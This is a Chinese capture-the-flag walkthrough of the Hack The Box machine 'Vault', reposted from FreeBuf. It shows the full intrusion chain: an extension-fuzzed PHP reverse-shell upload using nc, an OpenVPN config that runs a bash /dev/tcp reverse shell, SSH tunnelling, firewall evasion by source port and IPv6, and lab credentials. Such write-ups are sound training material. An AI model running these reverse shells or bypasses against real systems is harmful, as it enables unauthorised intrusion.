【HTB系列】靶机Vault的渗透测试详解 – 作者:shuteer

本文作者:是大方子(Ms08067实验室核心成员)

1614264103_6037b72787ebb07a6f4eb.png!small

Kali: 10.10.14.213

靶机地址:10.10.10.109

先用nmap探测靶机

| nmap -sC -sT -sV 10.10.10.109 |

扫描结果如下:

1614264114_6037b732731c8b8718d90.png!small

看看80端口有什么东西

1614264121_6037b739223aa690118ee.png!small

我们用gobuster进行探测下

| gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100 |

扫了很久没有扫出什么东西

后来注意到这句话

We are proud to announce our first client: Sparklays (Sparklays.com still under construction)

尝试在Url后面加上/sparklay

| ~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays |
1614264145_6037b751886e12e041fe3.png!small

我们打开login.php

1614264154_6037b75addb8583e61682.png!small

打开下admin.php

1614264163_6037b763861c469989f68.png!small

尝试过绕过以及常见帐户密码

奇怪的是发现提交的帐户密码竟然是用GET方式,觉得很奇怪试着拦截登陆的数据包并放到sqlmap跑跑看,发现并没有注入点

| sqlmap -r sparklays-admin-login.req –batch |
1614264172_6037b76cbc4300dba314b.png!small

我们在打开design

1614264177_6037b771f3422551bccec.png!small

是Forbidden,那么这个目录下我们在gobuster下

| gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design |

1614264186_6037b77a00e128e94c73a.png!small

打开upload.php

1614264192_6037b7808fe2e8fe92de7.png!small

打开design.html看看

1614264213_6037b795d19d5e76b9988.png!small

点【Change Logo】

1614264221_6037b79ddc26b14124ed8.png!small

我们写一个反弹的shell进行上传

|
system\('r\, /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh \-i 2\>&1\|nc 10\.10\.14\.213 1337 \>/tmp/f'\);

?> |

被拒绝上传了

1614264242_6037b7b2baea145f0fa14.png!small

我们来FUZZ下运行上传的后缀名看看能不能通过后缀名进行绕过

这里我用到这个字典:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

1614264249_6037b7b9cfe77f23ee909.png!small

这里我用burp的intruder模块进行fuzz

1614264270_6037b7ce2cacf1dd85471.png!small

发现php5是上传成功的,我们把shell改成shell.php5再次上传

1614264270_6037b7ce53f623e2b2075.png!small

然后我们kali 开启监听1337端口1614264279_6037b7d758e6a71b1144a.png!small

我们在访问

http://10.10.10.109/sparklays/design/uploads/shell.php5

然后就会得到一个shell

1614264289_6037b7e1ccbcd1a29e9c9.png!small

发现有2个用户

1614264295_6037b7e781729d14d5afa.png!small

我在dave的Desktop目录下面看到一个ssh文件

1614264303_6037b7ef337f4bc581497.png!small

Cat下得到一下内容

1614264311_6037b7f712ca48bf55597.png!small

dave:Dav3therav3123

那么我们通过ssh连接到靶机上

1614264317_6037b7fda58459f7dd594.png!small

我们在看看dave桌面上的其他文件

1614264322_6037b802efd878355dc3e.png!small

第一个key还不知道是什么意思就先留着。

第二个Servers应该是对应服务器的IP以及该服务器是什么

我们现在对DNS服务器进行扫描看看,但是靶机上面没有nmap 但是我们可以用nc当作端口扫描器

1614264329_6037b809cd343787d261a.png!small

1614264336_6037b810118197464df44.png!small

我们可以看到192.168.122.4开放了22和80端口。由于是内网的环境我们是无法访问到192.168.122.4的,所以我们需要做一个隧道把192.168.122.4的80端口映射到我们本地的1234端口

| ssh -L 1234:192.168.122.4:80 [email protected] |
1614264359_6037b8278abec6d067255.png!small

点击【Click here to modify your DNS Settings】

1614264382_6037b83eb1dde94739f11.png!small

发现是Not Found

点击【Click here to test your VPN Configuration】

1614264410_6037b85aeafa0156b5780.png!small

打开后是一个VPN配置信息,并允许我们测试我们的VPN

这里我找一遍关于如何用ovpn配置文件反弹shell的教程

https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

我们找下靶机的内网IP地址

1614264428_6037b86ca2c8616d559ef.png!small

让靶机监听9002端口

1614264440_6037b878ad959250b5163.png!small

| remote 192.168.122.1
nobind
dev tun script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'" |

1614264470_6037b8969d506cac7704f.png!small

先点【Update file】然后再点【Test VPN】

就会得到一个shell

1614264483_6037b8a35920739e447b3.png!small

得到userflag

1614264495_6037b8af431d5b2cb87d3.png!small

接下来是获取root flag

我们在dave的目录里面找到一个ssh凭借

1614264519_6037b8c7e91eb957293cb.png!small

dave:dav3gerous567

我们直接通过ssh连接DNS服务器

1614264536_6037b8d8bdd5c5042bbbd.png!small

我们尝试sudo -i切换为root,

1614264550_6037b8e6e1d7e6769eae5.png!small

但是目录里面没有我们想要的rootflag

1614264568_6037b8f8767473101833c.png!small

之前我们注意到在dave的机器上有三台服务器,但是最后的The vault 是没有给出IP地址的,root flag可能就在那台机器上,所以我们需要去找线索

1614264600_6037b91859ea6683edfee.png!small

我们在DNS的hosts文件中找到了The vault的IP地址

1614264591_6037b90fb94609de8a358.png!small

但是DNS服务器是无法ping通的

1614264613_6037b925424f9a93e5309.png!small

但是DNS确实存在192.168.5.2的路由,猜测应该是禁止ping

1614264628_6037b934bf966b39852d4.png!small

后来发现DNS存在nmap 我们用nmap来进行端口探测

-Pn:表示默认主机在线,跳过主机发现

-v:显示详细信息

-n:不进行DNS解析

1614264643_6037b94314c8b5f616a90.png!small

发现2个端口都被closed,可能是真的关闭,但是也有可能是防火墙的原因

我们尝试使用nmap 的 –source-port参数

| 每个TCP数据包带有源端口号。默认情况下Nmap会随机选择一个可用的传出源端口来探测目标。该–source-port选项将强制Nmap使用指定的端口作为源端口。这种技术是利用了防火墙盲目地接受基于特定端口号的传入流量的弱点。端口21(FTP),端口53(DNS)和67(DHCP)是这种扫描类型的常见端口。 |

1614264661_6037b9553fd28eb8fc64b.png!small

发现一个987端口,我们用nc从本地的53端口进行连接

1614264673_6037b9612a532300c1fa9.png!small

是openssh服务

对于这种防火墙我们可以尝试使用IPV6的规则绕过

先查看DNS服务器是否支持IPV6

1614264684_6037b96cb4ca3b5d4f529.png!small

FF02::1指所有开启了IPv6组播的主机,和IGMP中的224.0.0.1对应

说明DNS服务器支持IPV6

我们在查找下DNS服务器的的 邻居

1614264696_6037b978e4038b5043470.png!small

再看下DNS的路由和ip信息1614264708_6037b98476a5316311588.png!small

我们可以看到192.168.5.0/24的流量都要通过ens3到192.168.122.5去

在192.168.155.5是防火墙的地址

1614264721_6037b9912bab89cca215d.png!small

我们在看DNS的邻居,发现还有3条IPV6,说明vault的IPV6应该在里面

我们在查看arp

1614264742_6037b9a644747e0b1ca32.png!small

192.168.122.5对应的ipv6是fe80::5054:ff:fe3a:3bd5

下面这2条ipv6的地址就是 valut和firewall的

fe80::5054:ff:fec6:7066

fe80::5054:ff:fee1:7441

我们直接用nmap进行端口扫描,如果防火墙没有配置ipv6的规则的话如是valut的地址就会出现之前的987端口

1614264756_6037b9b4116048a7fbcb4.png!small

这样我们就确定了fe80::5054:ff:fec6:7066是vault的IPV6地址,并且防火墙规则并没有阻拦ipv6的地址,同时我们的DNS服务器可以直接通过ipv6绕过防火墙跟vault进行通讯

那么我们直接ssh进行连接

1614264851_6037ba132359a0121a0c0.png!small

密码跟之前的一样:dav3gerous567

1614264875_6037ba2b25b8da1053da8.png!small

1614264885_6037ba35e0fb8b3613f56.png!small

我们可以看到这个pgp的ID为D1EB1F03

我们看下vault系统是否存在密钥,不存在

1614264897_6037ba4195d21c8c47869.png!small

但是我们在dave@ubuntu上找到了

1614264908_6037ba4c20f6e20a73102.png!small

所以我们需要把文件发送到dave@ubuntu进行解密

我们退回到dave@DNS上,利用scp将文件拷贝出来

| scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* . |
输入密码:dav3gerous567

1614265034_6037baca01445a0bf5e11.png!small

1614265017_6037bab9d5315fe4867c1.png!small

然后我们需要在把这个文件传送到dave@ubuntu上面

我们在ubuntu上面执行

1614265003_6037baab9542fa9b5a650.png!small

然后在DNS上把文件传输过来

1614264995_6037baa3bfa66eecf3806.png!small

这样文件就到了Ubuntu上面了

1614264982_6037ba96daf853d37a3fd.png!small

我们用md5sum来校验下文件的完整性

1614264973_6037ba8d00f280f22f293.png!small

文件正常传输的

我们用gpg 解密下root.txt.gpg

1614264961_6037ba8137c33b1202e46.png!small

要求我们输入密码

密码就是我们之前找到的key

1614264951_6037ba773ded4c60bf8a6.png!small

得到root flag

1614264943_6037ba6f37c1b35d565a8.png!small

MS08067实验室官网:www.ms08067.com

公众号:” Ms08067安全实验室”

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

最后期待各位小伙伴的加入!

来源:freebuf.com 2021-02-25 23:00:48 by: shuteer

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论